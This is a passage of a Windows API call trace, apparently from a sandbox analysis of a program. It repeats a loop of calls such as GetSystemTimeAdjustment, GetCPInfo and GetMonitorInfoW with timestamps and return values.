lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.020] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.020] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.020] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.020] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.021] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.021] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.021] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.021] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.021] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.021] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.021] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.021] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.021] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.021] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.021] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.021] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.021] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.021] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.021] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.021] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.021] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.021] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.021] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.021] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.021] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.021] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.021] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.021] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.021] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.022] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.022] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.022] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.022] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.022] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.022] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.022] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.022] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.022] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.022] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.022] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.022] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.022] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.022] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.022] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.022] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.022] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.022] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.022] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.022] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.023] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.023] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.023] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.023] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.023] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.023] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.023] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.023] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.023] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.023] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.023] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.023] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.023] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.023] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.023] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.023] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.023] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.023] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.023] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.023] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.023] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.024] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.024] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.024] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.024] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.024] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.024] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.024] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.024] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.024] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.024] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.024] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.024] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.024] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.024] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.024] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.024] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.024] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.024] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.024] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.024] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.025] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.025] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.025] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.025] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.025] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.025] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.025] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.025] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.025] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.025] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.025] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.025] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.025] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.025] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.025] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.025] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.026] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.026] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.026] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.026] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.026] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.026] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.026] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.026] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.026] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.026] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.026] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.026] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.026] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.026] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.026] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.026] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.026] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.026] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.027] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.027] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.027] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.027] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.027] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.027] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.027] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.027] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.027] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.027] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.027] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.027] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.027] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.027] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.027] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.027] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.027] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.027] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.027] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.027] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.028] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.028] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.028] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.028] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.028] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.028] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.028] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.028] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | 